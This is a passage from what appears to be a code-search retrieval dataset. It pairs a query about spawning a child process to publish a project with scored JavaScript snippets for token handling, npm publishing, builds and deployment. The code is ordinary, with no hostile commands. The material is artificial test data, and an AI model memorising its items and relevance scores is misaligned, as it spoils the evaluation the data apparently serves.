RejectionMessage.INVALID_TOKEN_ERROR));\n\t\t }\n\t }\n\t */\n\t return Q.resolve(payload);\n}", "title": "" }, { "docid": "6bb84f9b83b8ed0c36fde53add5dd68e", "score": "0.48692617", "text": "async function getTokenAuth0() {\n\n const optionsConnect = {\n method: 'POST',\n url: `${process.env.URL_GETTOKEN_AUTH0}`,\n headers: {\n 'content-type': 'application/json'\n },\n body: {\n \"client_id\": `${process.env.CLIENT_ID_AUTH0}`,\n \"client_secret\": `${process.env.CLIENT_SECRET_AUTH0}`,\n \"audience\": `${process.env.AUDIENCE_CONNECT_AUTH0}`,\n \"grant_type\": \"client_credentials\"\n },\n json: true\n };\n\n let token = \"\";\n\n try {\n token = await rp(optionsConnect)\n }\n catch (error) {\n console.log(error);\n }\n\n return token;\n}", "title": "" }, { "docid": "836d51564fbe4234ef1b43000cb7f1f5", "score": "0.48619708", "text": "async requireAllow () {\n\t\treturn this.requireAllowParameters(\n\t\t\t'body',\n\t\t\t{\n\t\t\t\trequired: {\n\t\t\t\t\tstring: ['refreshToken', 'provider']\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t}", "title": "" }, { "docid": "04b7c3ab113b2f855742b72a56dfc936", "score": "0.4856777", "text": "function Token() {\n}", "title": "" }, { "docid": "71e88af995be7523eaadaaa50e09c3cc", "score": "0.48543477", "text": "generateToken() {\n\t\tconst d0 = Math.random()*0xffffffff|0;\n\t\tconst d1 = Math.random()*0xffffffff|0;\n\t\tconst d2 = Math.random()*0xffffffff|0;\n\t\tconst d3 = Math.random()*0xffffffff|0;\n\t\treturn lut[d0&0xff]+lut[d0>>8&0xff]+lut[d0>>16&0xff]+lut[d0>>24&0xff]+\"-\"+\n\t\t\tlut[d1&0xff]+lut[d1>>8&0xff]+\"-\"+lut[d1>>16&0x0f|0x40]+lut[d1>>24&0xff]+\"-\"+\n\t\t\tlut[d2&0x3f|0x80]+lut[d2>>8&0xff]+\"-\"+lut[d2>>16&0xff]+lut[d2>>24&0xff]+\n\t\t\tlut[d3&0xff]+lut[d3>>8&0xff]+lut[d3>>16&0xff]+lut[d3>>24&0xff];\t\t\n\t}", "title": "" }, { "docid": "ca0ba122151e86d834431b587251596a", "score": "0.4852119", "text": "function getFwNonce() {\r\n osamtstack.BatchEnum(null, ['*AMT_GeneralSettings', '*IPS_HostBasedSetupService'], function (stack, name, responses, status) {\r\n if (status != 200) { console.log(\"Unable to get firmware activation nonce, status=\" + status); exit(100); return; }\r\n var fwNonce = responses['IPS_HostBasedSetupService'].response['ConfigurationNonce'];\r\n var digestRealm = responses['AMT_GeneralSettings'].response['DigestRealm'];\r\n var allowedModes = responses['IPS_HostBasedSetupService'].response['AllowedControlModes']; // 1 = CCM, 2 = ACM\r\n activeToACMEx(fwNonce, settings.fqdn, digestRealm, settings.uuid, allowedModes);\r\n });\r\n}", "title": "" }, { "docid": "9626e9ec600ec544b0f4655d9ff21e91", "score": "0.48462668", "text": "function tokens(n){\n return web3.utils.toWei(n, 'ether'); \n}", "title": "" }, { "docid": "d558b69174795a2647fa9d4777e86316", "score": "0.48450625", "text": "makeToken() {\r\n\t\t// token will be 16 characters long\r\n\t\tlet length = 16;\r\n\t\tlet text = \"\";\r\n\t\tlet possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\r\n\t\tfor(let i = 0; i < length; i++) {\r\n\t\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\r\n\t\t}\r\n\t\treturn text;\r\n\t}", "title": "" }, { "docid": "0d1e681878c6fb5806783bf40dc53cdc", "score": "0.48433232", "text": "getExpiry (token) {\n\n var age = moment().diff(token.time_stamp, 'seconds')\n\n return token.expires_in - age\n }", "title": "" } ]
f88b68003277922aded0826a0ea12a06
Spawns a child process to publish the project. The publish process executes / asynchronously and the state of the current build is updated when the / process exits based on the process exit code.
[ { "docid": "ae6670ddc90192642ef76353b6df65ae", "score": "0.70519793", "text": "function executePublish(request)\n{\n var child = null;\n var nodePath = process.execPath;\n var scriptPath = Path.join(__dirname, 'publish.js');\n var argv2 = '-p ' + application.args.projectPath;\n var argv3 = '-S ' + application.args.stagingRoot;\n var argv4 = '-O ' + application.args.publishRoot;\n var argv5 = '-T ' + application.args.publishTarget;\n var argv = [nodePath, scriptPath, argv2, argv3, argv4, argv5];\n var command = argv.join(' ');\n var onComplete = function (error, stdout, stderr)\n {\n if (error) request.exitPublish = error.code;\n request.stdoutPublish = stdout.toString('utf8');\n request.stderrPublish = stderr.toString('utf8');\n completeRequest(request);\n };\n\n try\n {\n child = Process.exec(command, {\n cwd : application.STARTUP_DIRECTORY,\n env : process.env,\n encoding : 'utf8'\n }, onComplete);\n }\n catch (err)\n {\n if (!application.args.silent)\n {\n console.log('An error occurred when spawning the publish process:');\n console.log(err);\n console.log();\n }\n }\n}", "title": "" } ]
[ { "docid": "ad93a8396c3e785c5924a1a03512c793", "score": "0.71028054", "text": "function npmPublish (callback) {\n var basePath = self._state[\"pio.service\"].originalPath;\n console.log((\"Calling `npm run-script publish` for: \" + basePath).magenta);\n var proc = SPAWN(\"npm\", [\n \"run-script\",\n \"publish\"\n ].concat(options.args || []), {\n cwd: basePath\n });\n proc.stdout.on('data', function (data) {\n process.stdout.write(data);\n });\n proc.stderr.on('data', function (data) {\n process.stderr.write(data);\n });\n return proc.on('close', function (code) {\n if (code !== 0) {\n console.error(\"ERROR: `npm run-script publish` exited with code '\" + code + \"'\");\n return callback(new Error(\"`npm run-script publish` script exited with code '\" + code + \"'\"));\n }\n console.log((\"`npm run-script publish` for '\" + basePath + \"' done!\").green);\n return callback(null, {success: true});\n });\n }", "title": "" }, { "docid": "a76e91035278e8079eb2f823ef2ac9a7", "score": "0.66620505", "text": "function publish () {\n const current = require('./dist/package.json').version\n const latest = execSync(`npm show ${source.name} version`, { encoding: 'utf8' }).trim()\n\n if (current === latest) return console.log('Version needs bumped to publish.')\n\n console.log('Publishing...')\n console.log(execSync(`git tag v${current} && git push origin v${current}`))\n console.log(execSync('cd dist && npm publish --access public', { encoding: 'utf8' }))\n console.log('Published.')\n}", "title": "" }, { "docid": "d60fc8035e3f5fb65308a7c201e3b523", "score": "0.6585307", "text": "function main()\n{\n application.args = processCommandLine();\n application.exitCode = exit_code.SUCCESS;\n application.publishTarget = application.args.publishTarget;\n application.projectPath = application.args.projectRoot;\n application.publishPath = application.args.publishRoot;\n application.stagingPath = application.args.stagingRoot;\n application.project = ContentJS.loadProject(application.projectPath);\n publishProject(application.project);\n}", "title": "" }, { "docid": "090de6489ee8e70d1925f22505ca6cc5", "score": "0.647675", "text": "function executeBuild(request)\n{\n var child = null;\n var nodePath = process.execPath;\n var scriptPath = Path.join(__dirname, 'build.js');\n var argv2 = '-p ' + application.args.projectPath;\n var argv = [nodePath, scriptPath, argv2];\n var command = argv.join(' ');\n var onComplete = function (error, stdout, stderr)\n {\n if (error) request.exitBuild = error.code;\n request.stdoutBuild = stdout.toString('utf8');\n request.stderrBuild = stderr.toString('utf8');\n if (error) completeRequest(request);\n else executePublish(request);\n };\n\n try\n {\n child = Process.exec(command, {\n cwd : application.STARTUP_DIRECTORY,\n env : process.env,\n encoding : 'utf8'\n }, onComplete);\n }\n catch (err)\n {\n if (!application.args.silent)\n {\n console.log('An error occurred when spawning the build process:');\n console.log(err);\n console.log();\n }\n }\n}", "title": "" }, { "docid": "5eecbfaf75fcacd45cb46481dcaf1f58", "score": "0.61317396", "text": "function publish() {\n return new Promise(async function (resolve, reject) {\n await publishApp(props.App_Name);\n log('INFO', 'APP PUBLISHED: ' + props.App_Name);\n log('INFO', \"LOCATION: https://eu.liveapps.cloud.tibco.com/webresource/apps/\" + props.App_Name + \"/index.html#/starterApp/home\");\n resolve();\n });\n}", "title": "" }, { "docid": "9099664cb435abcdae21fb8bd7e5ee5a", "score": "0.6000244", "text": "function publishProject(project)\n{\n var manifest = createEmptyProjectManifest();\n var packages = enumeratePackages(project);\n\n // ensure that required directories exist and publish\n // each content package, creating and hashing tar archives.\n ensureDirectories();\n for (var i = 0, n = packages.length; i < n; ++i)\n {\n var bundle = project.contentPackage(packages[i]);\n publishPackage(project, bundle, manifest);\n }\n\n // sort the package lists by package name for easier comparison.\n Object.keys(manifest.latest.packages).forEach(function (platform)\n {\n manifest.latest.packages[platform].sort(function (a, b)\n {\n return String.localeCompare(a.name, b.name);\n });\n });\n\n // load any previously existing project manifest and compare\n // it with the current manifest. if things have changed, then\n // we'll move over all of the staged files and update the manifest.\n var previous = loadProjectManifest();\n if (projectManifestChanged(previous, manifest))\n {\n // move over all of the files in the staging directory.\n var move = function (entry)\n {\n var filename = Path.basename(entry.absolutePath);\n var srcPath = entry.absolutePath;\n var tgtPath = Path.join(application.publishPath, filename);\n console.log('Moving package file:');\n console.log(' Source: '+srcPath);\n console.log(' Target: '+tgtPath);\n Filesystem.renameSync(srcPath, tgtPath);\n };\n console.log(application.stagingPath);\n ContentJS.walkTree(move, {\n from : application.stagingPath,\n recursive : false,\n ignoreHidden : true\n });\n\n // update and write out the updated project manifest file.\n manifest = updateProjectManifest(previous, manifest);\n saveProjectManifest(manifest);\n }\n}", "title": "" }, { "docid": "27131495d9016a8f140e7607b4e359d7", "score": "0.596041", "text": "async function publish() {\n if (!IS_PRIVATE_REPO) {\n await mirrorAsync();\n } else {\n await typedoc();\n }\n}", "title": "" }, { "docid": "c0c18a34a17d0e6d64a59c48dc3121c1", "score": "0.59445024", "text": "function commitChanges(comment:string, gitTag?:string):Promise<unknown> {\n let gitcmd = `git commit -am \"${comment}\"`\n console.log(ac.green(gitcmd))\n return executeCommand(gitcmd, []).then((rt:any) => {\n if(rt.errStr) {\n console.error(ac.red(rt.errStr))\n } else {\n console.log(ac.grey(rt.stdStr))\n }\n let p = Promise.resolve()\n if(gitTag) {\n console.log('applying tag ', gitTag)\n p = executeCommand('git', ['tag', gitTag]).then((rt:any)=> {\n if(rt.errStr) {\n console.error(ac.red(rt.errStr))\n } else {\n console.log(ac.grey(rt.strStr))\n }\n })\n }\n return p.then(() => {\n console.log('pushing changes')\n return executeCommand('git',['push']).then((rt:any)=> {\n if(rt.errStr) {\n console.error(ac.red(rt.errStr))\n } else {\n console.log(ac.grey(rt.strStr))\n }\n })\n })\n\n })\n}\n\nfunction npmPublish():Promise<unknown> {\n if(doPublish) {\n console.log(ac.italic.green('Publishing to NPM'))\n process.chdir(workingDirectory)\n return executeCommand('npm publish', []).then((rt: any) => {\n if (rt.errStr) {\n // npm normally reports via stdErr\n //\n const lines = rt.errStr.split('\\n')\n for (let ln of lines) {\n ln = ln.trim()\n if (ln.indexOf(\"ERR!\") !== -1) {\n if (ln.indexOf(\"PUT\") !== -1) {\n console.error(ac.red.bold(ln))\n } else {\n console.log(ac.grey.italic.dim(ln))\n }\n } else if (ln.indexOf(\"📦\") !== -1) {\n console.log(ac.green(ln))\n }\n }\n } else if (rt.stdStr) {\n console.log(ac.grey(rt.stdStr))\n }\n })\n }\n return Promise.resolve()\n}\n\n/**\n * Read the configuration of project directories\n * and the preferred pre-release tag\n * @param configPath\n */\nfunction readConfiguration(configPath:string) {\n if(!configPath) configPath = '.'\n configPath = path.resolve(configPath)\n if(fs.existsSync(configPath)) {\n workingDirectory = path.dirname(configPath)\n if(fs.lstatSync(configPath).isDirectory()) {\n config = defaultConfig;\n } else {\n const text = fs.readFileSync(configPath).toString()\n config = JSON.parse(text)\n }\n preReleaseTag = config.preReleaseTag || preReleaseTag\n }\n}\n\nfunction displayHelp() {\n\n console.log(ac.blue(`\n -------------------------------------------\n ${ac.black.bold('pub-bump')} ${ac.grey('[release|bump] [-m|--comment \"commit comment\"] [-c|--config configPath] [--pre preReleaseTag]')}\n\n where:\n ${ac.black('release')} - strips pre-release portion of version and tags the commit in the repository\n ${ac.black('bump')} ${ac.dim('default if not given')} - bumps the pre-release number up by one and commits with comment\n ${ac.black('-m')} or ${ac.black('--comment')} - following string argument is the commit comment saved to repository\n ${ac.black('-c')} or ${ac.black('--config')} specifies the path to a configuration json file\n ${ac.black('--pre')} - following string argument is the pre-release tag to use, overriding the config or the default (\"pre-release\")\n ${ac.black( '--publish')} - force publish to npm even if config says false\n ${ac.black( '--no-publish')} - do not publish to npm\n \n -------------------------------------------\n configuration file json description:\n {\n ${ac.black('\"preReleaseTag\"')}: ${ac.dim('-- name to use for this series of pre-release versions (default is \"pre-release\")')}\n ${ac.black('\"doPublish\"')}: ${ac.dim(' -- boolean true or false to publish to npm after commit if not overridden by command line. (default is true)')}\n ${ac.black('\"projectDirs\"')} : ${ac.dim('[ ... ] -- an array of relative or absolute directory locations containing the project modules you wish updated in this action')}\n }\n -------------------------------------------\n To change a pre-release tag (either via --pre or a change in the config), you must first issue a \"release\",')\n or otherwise change the version to be plain (e.g. 1.0.0) without any pre-release tags.')\n new pre-release numbering will start against the next revision update (e.g \"1.0.1-prerelease.1\"')\n ===========================================\n `))\n\n process.exit(0)\n}\n\n/*\nCLI args\n\nbump (default) -- bump the pre-release version if we have a modification\nrelease -- strip the pre-release tag and release with plain version number\n\n-m | --comment -- the comment to commit to git on check-in\n--pre <tag> -- use this pre-release tag (default is pre-release)\n\n */\nfunction parseCLI(args:string[]) {\n let i = 0;\n let mode = 'bump'\n if(!args.length) args.push('--help')\n while(i<args.length) {\n let f = args[i]\n f = f.trim()\n if(f === '-m' || f === '--comment') {\n comment = args[++i]\n }\n else if(f === '--pre') {\n let tag = args[++i]\n if(tag) preReleaseTag = tag\n }", "title": "" }, { "docid": "38f862004442931bb52fdc3a7b30903f", "score": "0.5928199", "text": "async run() {\n this.warn('TODO: finish this');\n // if (!process.env.GH_TOKEN) throw new Error('GH_TOKEN must be set')\n // const {flags} = this.parse(Publish)\n // if (process.platform === 'win32') throw new Error('pack does not function on windows')\n // const {'node-version': nodeVersion, prerelease, draft} = flags\n // const channel = flags.prerelease ? 'prerelease' : 'stable'\n // const root = path.resolve(flags.root)\n // const config = await Tarballs.config(root)\n // const version = config.version\n // const baseWorkspace = qq.join([config.root, 'tmp', 'base'])\n // const updateConfig = config.pjson.oclif.update || {}\n // const targets = updateConfig.node && updateConfig.node.targets || []\n // if (!targets) throw new Error('specify oclif.targets in package.json')\n // // first create the generic base workspace that will be copied later\n // await Tarballs.build({config, channel, output: baseWorkspace, version})\n // const tarballs: {target: string, tarball: string}[] = []\n // for (let [platform, arch] of targets.map(t => t.split('-'))) {\n // const t = await Tarballs.target({config, platform, arch, channel, version, baseWorkspace, nodeVersion, xz: flags.xz})\n // tarballs.push(t)\n // }\n // this.octokit.authenticate({\n // type: 'token',\n // token: process.env.GH_TOKEN,\n // })\n // const tag = `v${version}`\n // const [owner, repo] = config.pjson.repository.split('/')\n // const commitish = await Tarballs.gitSha(config.root)\n // const release = await this.findOrCreateRelease({owner, repo, tag, prerelease, draft, commitish})\n // for (let {tarball} of tarballs) {\n // await this.addFileToRelease(release, `${tarball}.tar.gz`)\n // if (flags.xz) await this.addFileToRelease(release, `${tarball}.tar.xz`)\n // }\n // }\n // async findOrCreateRelease({owner, repo, tag, prerelease, draft, commitish}: {owner: string, repo: string, tag: string, prerelease: boolean, draft: boolean, commitish: string}) {\n // const findRelease = async () => {\n // const {data} = await this.octokit.repos.getReleaseByTag({owner, repo, tag})\n // action(`found existing release ${tag}`)\n // return data\n // }\n // const createRelease = async () => {\n // action(`creating ${tag} release`)\n // const {data} = await this.octokit.repos.createRelease({\n // owner,\n // repo,\n // target_commitish: commitish,\n // tag_name: tag,\n // prerelease,\n // draft,\n // })\n // return data\n // }\n // try {\n // return await findRelease()\n // } catch (err) {\n // this.debug(err)\n // }\n // return createRelease()\n // }\n // async addFileToRelease(release: {upload_url: string}, file: string) {\n // action(`uploading ${file}`)\n // await this.octokit.repos.uploadAsset({\n // url: release.upload_url,\n // file: fs.createReadStream(file),\n // contentType: 'application/gzip',\n // contentLength: fs.statSync(file).size,\n // name: qq.path.basename(file),\n // label: qq.path.basename(file),\n // })\n }", "title": "" }, { "docid": "4316fbe10f4df776013ceea4c7395c71", "score": "0.5786339", "text": "async function publishPackages() {\n var m = build.readMetadata('.');\n var ver = build.nextUnpublishedVersion(m.name, m.version);\n await writeIndexAndCorpus();\n publishRootPackage(ver);\n}", "title": "" }, { "docid": "e19dd2f6a7e5993721240cb35865683d", "score": "0.57642853", "text": "function deploy() {\n // Generate CNAME file from `homepage` value in package.json\n let cname = pkg.homepage.replace(/.*?:\\/\\//g, '');\n fs.writeFileSync(paths.build + '/CNAME', cname);\n\n // Push contents of build folder to `gh-pages` branch\n return gulp.src(paths.build + '/**/*')\n .pipe(ghPages({\n force: true\n }));\n done();\n}", "title": "" }, { "docid": "2ba409565ee11cb18f4f8dfb8b527bc3", "score": "0.5716839", "text": "function processCommandLine()\n{\n // parse the command line, display help, etc. if the command\n // line is invalid, commander will call process.exit() for us.\n Commander\n .version('1.0.0')\n .option('-s, --silent', 'Suppress command-line output.')\n .option('-p, --project [path]', 'Path of the project to publish. [cwd]', String, process.cwd())\n .option('-S, --staging [path]', 'Path of the root staging directory. [cwd/staging]', String)\n .option('-O, --publish [path]', 'Path of the root publish directory. [cwd/publish]', String)\n .option('-T, --target [name]', 'Name of the target platform to publish. [dev]', String)\n .option('-C, --save-config', 'Save the current publish configuration.')\n .parse(process.argv);\n\n var projectPath = Path.resolve(Commander.project);\n var configPath = Path.join(projectPath, defaults.CONFIG_FILENAME);\n var configData = loadConfiguration(configPath, Commander.silent);\n\n // if no publish configuration exists for the project, always save\n // out the publish.json file containing the current configuration.\n if (!ContentJS.isFile(configPath))\n {\n Commander.saveConfig = true;\n }\n\n // fill in unspecified command-line arguments with values\n // from the publish configuration for the content project.\n // otherwise, override the config data from the command line.\n if (Commander.staging)\n {\n // the staging directory was specified on the command line.\n configData.staging = Commander.staging; // may be a relative path\n Commander.staging = Path.resolve(projectPath, Commander.staging);\n }\n else\n {\n // the staging directory was not specified; use the saved config.\n Commander.staging = Path.resolve(projectPath, configData.staging);\n }\n if (Commander.publish)\n {\n // the publish directory was specified on the command line.\n configData.publish = Commander.publish; // may be a relative path\n Commander.publish = Path.resolve(projectPath, Commander.publish);\n }\n else\n {\n // the publish directory was not specified; use the saved config.\n Commander.publish = Path.resolve(projectPath, configData.publish);\n }\n if (Commander.target) configData.target = Commander.target;\n else Commander.target = configData.target;\n\n // save out the current configuration if instructed to do so.\n if (Commander.saveConfig)\n {\n saveConfiguration(configData, configPath, Commander.silent);\n }\n\n // return an object containing our final configuration options:\n return {\n silent : Commander.silent,\n projectRoot : Commander.project,\n publishRoot : Commander.publish,\n stagingRoot : Commander.staging,\n publishTarget : Commander.target\n };\n}", "title": "" }, { "docid": "23e9eccf34ce01cd7f65dd14c928a6dd", "score": "0.5698194", "text": "function deploy() {\n // Generate CNAME file from `homepage` value in package.json\n const cname = pkg.homepage.replace(/.*?:\\/\\//g, '');\n fs.writeFileSync(`${paths.build}/CNAME`, cname);\n\n // Push contents of build folder to `gh-pages` branch\n return gulp.src(`${paths.build}/**/*`)\n .pipe(ghPages({\n force: true,\n }));\n done();\n}", "title": "" }, { "docid": "e215ce0d15feb7ee4fc8e440030fbd6d", "score": "0.56901807", "text": "function deploy() {\n return new Promise(async function (resolve, reject) {\n await uploadApp(props.App_Name);\n log('INFO', \"DONE DEPLOYING: \" + props.App_Name);\n resolve();\n\n });\n}", "title": "" }, { "docid": "506910fdbee8670160a1b8323e03b424", "score": "0.56890094", "text": "async function build() {\n await run(clean)\n await run(copy)\n await run(bundle)\n\n if (process.argv.includes('--docker')) {\n cp.spawnSync('docker', ['build', '-t', pkg.name, '.'], {\n stdio: 'inherit'\n })\n }\n}", "title": "" }, { "docid": "c8561f8a33c6d70fa0c836ceb766c4de", "score": "0.5662416", "text": "async function npmRunBuild () {\n const npmRun = spawn('npm', ['run', 'build'], {\n stdio: 'inherit',\n env: {\n ...process.env,\n FRESH: true, // force rebuild everything\n IS_RELEASE_BUILD: true\n }\n })\n const [exitCode] = await once(npmRun, 'exit')\n if (exitCode !== 0) {\n throw new Error(`npm run build failed with ${exitCode}`)\n }\n}", "title": "" }, { "docid": "4bd36d35951cd4ef1ca2d5ae5dd65ca7", "score": "0.5615687", "text": "function publishFromDir(fileName, workingDir) {\r\n\tlogger.entry(\"apimcli.publishFromDir\", fileName, workingDir);\r\n\t\r\n\tvar promise= _runAPICCommand([\"publish\", fileName, \"--server\", apicServer, \"--organization\", apicPOrg], workingDir);\r\n\t\r\n\tlogger.exit(\"apimcli.publishFromDir\", promise);\r\n\treturn promise;\r\n}", "title": "" }, { "docid": "a4d91c82d234f76097649776b77924ba", "score": "0.55748814", "text": "function jekyllBuild() {\n\tbrowserSync.notify(messages.jekyllBuild);\n\treturn cp.spawn(jekyllCommand, ['build'], {stdio: 'inherit'});\n}", "title": "" }, { "docid": "8b53cf7a413298e372d912d81d381bdd", "score": "0.5518536", "text": "async function run(u, p, name) {\n \n if( name == null ) { console.log(\"You must specify a build name Run \\\"pipeline build --help\\\" for more information.\"); process.exit( 1 ); }\n jenkins = require('jenkins')({ baseUrl: `http://${u}:${p}@192.168.33.20:9000`, crumbIssuer: true, promisify: true });\n console.log(chalk.blueBright(`Starting ${name} Build Job...`));\n await startBuild(name);\n\n //console.log(`Args: ${name}`);\n}", "title": "" }, { "docid": "7c0b4c9aed05a7bcb7c374475e88107a", "score": "0.55138403", "text": "async deploy() {\n // TODO: Update deployment URL\n // For more information visit http://gitolite.com/deploy.html\n const getRemote = slot => ({\n name: slot || 'production',\n url: `https://example${slot ? `-${slot}` : ''}.scm.azurewebsites.net:443/example.git`,\n website: `http://example${slot ? `-${slot}` : ''}.azurewebsites.net`,\n });\n // By default deploy to the staging deployment slot\n const remote = getRemote(process.argv.includes('--production') ? null : 'staging');\n\n // Initialize a new Git repository inside the `/build` folder\n // if it doesn't exist yet\n const repo = await GitRepo.open('build', { init: true });\n await repo.setRemote(remote.name, remote.url);\n\n // Fetch the remote repository if it exists\n if ((await repo.hasRef(remote.url, 'master'))) {\n await repo.fetch(remote.name);\n await repo.reset(`${remote.name}/master`, { hard: true });\n await repo.clean({ force: true });\n }\n\n // Build the project in RELEASE mode which\n // generates optimized and minimized bundles\n process.argv.push('--release');\n await run(require('./build'));\n\n // Push the contents of the build folder to the remote server via Git\n await repo.add('--all .');\n await repo.commit('Update');\n await repo.push(remote.name, 'master');\n\n // Check if the site was successfully deployed\n const response = await fetch(remote.website);\n console.log(`${remote.website} -> ${response.statusCode}`);\n }", "title": "" }, { "docid": "3fc5b284439e481548aa52d293518e91", "score": "0.55009145", "text": "function build() {\n return new Promise(function (resolve, reject) {\n log('INFO', 'Building... ' + props.App_Name);\n //TODO: Remove the old zip file\n //TODO: Check if we are in build mode (and not debug)\n buildCloudStarterZip(props.App_Name);\n resolve();\n });\n}", "title": "" }, { "docid": "02b5274baff40ecfecf22383859aadb5", "score": "0.54707533", "text": "async run () {\n await this.validateManifest()\n await this.clearFoldersAndFiles()\n await this.downloadFiles()\n await this.buildGraph()\n await this.runPostBuildTasks()\n await this.uploadOtpRunnerLogs()\n\n // If runServer is true, the execa subprocess hangs for unknown reasons that\n // seem to be related to reading the stdout/stderr stream. Therefore,\n // manually exit this script at this point.\n process.exit(0)\n }", "title": "" }, { "docid": "3ed0feac1dea680664beb0e9d94afea7", "score": "0.544377", "text": "function publishProject(req, res) {\n var deferred = Q.defer();\n var blockChainToken = req.session.blockChainToken;\n req.body.projectPublishflag = \"Project \" + req.body.projectName + \" has been published by \" + req.session.username\n\n var body = {\n \"peers\": [\"peer0.org1.example.com\", \"peer1.org1.example.com\"],\n \"fcn\": \"updateProjectStatus\",\n \"args\": [\"\" + req.body.projectId + \"\", \"\" + req.body.status + \"\", \"\" + req.body.projectPublishflag + \"\", \"\" + req.body.isPublished + \"\", \"\" + req.body.isApproved + \"\", \"\" + req.body.remarks + \"\"]\n }\n rp({\n method: 'POST',\n uri: config.Ip + '/channels/mychannel/chaincodes/test',\n body: JSON.stringify(body),\n headers: {\n 'User-Agent': 'Request-Promise',\n 'Content-Type': 'application/json',\n 'Authorization': 'Bearer ' + blockChainToken\n }\n\n }).then(function (data) {\n console.log(\"Project Published:\", data)\n deferred.resolve(data);\n }).catch(function (error) {\n deferred.reject(error)\n })\n return deferred.promise;\n}", "title": "" }, { "docid": "fe1d798fd939e3bed7d2bc9f7d688966", "score": "0.54283875", "text": "function release(version, end) {\n sequence(version, 'build', 'publish', end);\n}", "title": "" }, { "docid": "db38a042e6cb30ffbbd46239db989017", "score": "0.5394218", "text": "runBuild(runtimeFolder, tag, onSuccess, onError) {\n console.log(\"Building Docker image...\");\n let self = this;\n let execution = child.spawn(\"docker\", [\"build\", \"--rm\", \"-t\", tag, \".\"], { cwd: runtimeFolder });\n execution.stderr.on('data', (data) => {\n console.log(\"stderr: \" + data.toString());\n });\n execution.stdout.on('data', (data) => {\n console.log(\"stdout: \" + data.toString());\n });\n execution.on('exit', (code) => {\n console.log(\"Build finished OK.\");\n if (code == 0) {\n self.postBuild(runtimeFolder, onSuccess, onError);\n }\n else {\n onError(\"Build failed. Code:\" + code);\n }\n });\n }", "title": "" }, { "docid": "6fad7264ad7649682610a9343f3a0f00", "score": "0.53823245", "text": "async function cliRelease() {\n process.chdir(\"../\");\n\n const packageManifest = shell.cat(\"./package.json\").toString();\n const {name, version} = JSON.parse(packageManifest);\n\n let minor = version.split(\".\");\n const prerelease = parseFloat(minor[0]) === 0;\n minor = minor.slice(0, minor.length - 1).join(\".\");\n\n try {\n const stdout = await execAsync(\"git log -- `git describe --tags --abbrev=0`...HEAD\");\n const body = stdout.length ? stdout : `${name}@${version}`;\n\n await execAsync(\"git add --all\");\n await execAsync(`git commit -m \\\"compiles ${name}@${version}\\\"`);\n shell.echo(\"git commit\");\n\n await execAsync(`git tag ${name}@${version}`);\n shell.echo(\"git tag\");\n\n await execAsync(\"git push origin --follow-tags\");\n shell.echo(\"git push\");\n\n const octokit = new Octokit({\n auth: token\n });\n\n await octokit.repos.createRelease({\n owner: \"datawheel\",\n repo: \"canon-stats\",\n tag_name: `${name}@${version}`,\n name: `${name}@${version}`,\n body,\n prerelease\n }).catch(error => {\n shell.echo(`package: ${name}`);\n shell.echo(`version: ${version}`);\n shell.echo(`body: ${body}`);\n shell.echo(`prerelease: ${prerelease}`);\n shell.echo(error.message);\n shell.exit(1);\n });\n shell.echo(\"release pushed\");\n\n shell.exit(0);\n }\n catch (e) {\n shell.echo(e);\n shell.exit(1);\n }\n}", "title": "" }, { "docid": "a097d902e5a6a789926b212f60a6a1af", "score": "0.5347543", "text": "function main(params) {\n return new Promise((resolve, reject) => {\n const {\n wskAuth,\n wskApiHost,\n manifestPath,\n usingTemp,\n manifestFileName,\n repoDir,\n envData,\n } = params;\n\n // Set the cwd of the command to be where the manifest/actions live\n const execOptions = {\n cwd: `${repoDir}/${manifestPath}`,\n };\n\n // If we were passed environment data (Cloudant bindings, etc.) add it to the options for `exec`\n if (envData) {\n execOptions.env = envData;\n } else {\n execOptions.env = {};\n }\n\n // Send 'y' to the wskdeploy command so it will actually run the deployment\n command = `printf 'y' | ${__dirname}/../../wskdeploy -v -m ${manifestFileName} --auth ${wskAuth} --apihost ${wskApiHost}`;\n\n const manifestFilePath = `${repoDir}/${manifestPath}/${manifestFileName}`;\n if (!fs.existsSync(manifestFilePath)) {\n if (usingTemp) {\n deleteFolder(repoDir);\n }\n reject(new Error('Error loading manifest file. Does a manifest file exist?'));\n } else {\n exec(command, execOptions, (err, stdout, stderr) => {\n if (usingTemp) {\n deleteFolder(repoDir);\n }\n if (err) {\n reject(new Error('Error running `./wskdeploy`: ', err));\n }\n if (stdout) {\n console.log('stdout from wskDeploy: ', stdout, ' type ', typeof stdout);\n\n if (typeof stdout === 'string') {\n try {\n stdout = JSON.parse(stdout);\n } catch (e) {\n console.log('Failed to parse stdout, it wasn\\'t a JSON object');\n }\n }\n\n if (typeof stdout === 'object') {\n if (stdout.error) {\n stdout.descriptiveError = 'Could not successfully run wskdeploy. Please run again with the verbose flag, -v.';\n reject(new Error(stdout));\n }\n }\n }\n if (stderr) {\n console.log('stderr from wskDeploy: ', stderr);\n reject(stderr);\n }\n console.log('Finished! Resolving now');\n resolve({\n status: 'success',\n success: true,\n });\n });\n }\n });\n}", "title": "" }, { "docid": "51e31e34070668b4d22956a393c43f46", "score": "0.53231895", "text": "async function buildSite() {\n const failed = await runTests();\n if (failed) {\n process.exitCode = 1;\n console.error('\\n\\nFailed to generate test results');\n return;\n }\n const spinner = ora('Building site').start();\n try {\n await exec(\"npm run build\", { cwd: join(__dirname, \"docs\") });\n spinner.succeed(\"Site built successfully!\");\n } catch (err) {\n console.error(err);\n spinner.fail(\"Failed to build site\");\n process.exitCode = 1;\n }\n}", "title": "" }, { "docid": "c0b379f3e2ecd8a59f9d134709862ec1", "score": "0.5297891", "text": "function sendProject () {\n client.scp('file.zip', 'root:' + scp.pass + '@' + scp.host + ':/home/reza/change/', function (err) {\n if (err) {\n console.log('err');\n } else {\n console.log('upload in server');\n\n //**************remove old project in directory*************************\n config.ssh.exec(scp.rmDirectoryProject, {\n out: console.log.bind('delete project')\n\n //****************unzip project*******************************\n }).exec(scp.unzipProject, {\n out: console.log.bind('unzip project')\n //!*************delete project***********************************\n }).exec(scp.deleteProject, {\n out: console.log.bind('pm2 delete')\n //!*************start project************************************\n }).exec(scp.pathProject, {\n out: console.log.bind('pm2 start')\n }).start();\n\n }\n\n })\n\n}", "title": "" }, { "docid": "fb2d4f6d6a8f6f1035903d4c809148ec", "score": "0.5294754", "text": "function deploy() {\n return new Promise((resolve, reject) => {\n console.log(color.yellow('\\n\\n××× DEPLOY START ××××××××××××'))\n connectedServer\n .exec(`git fetch --all && git 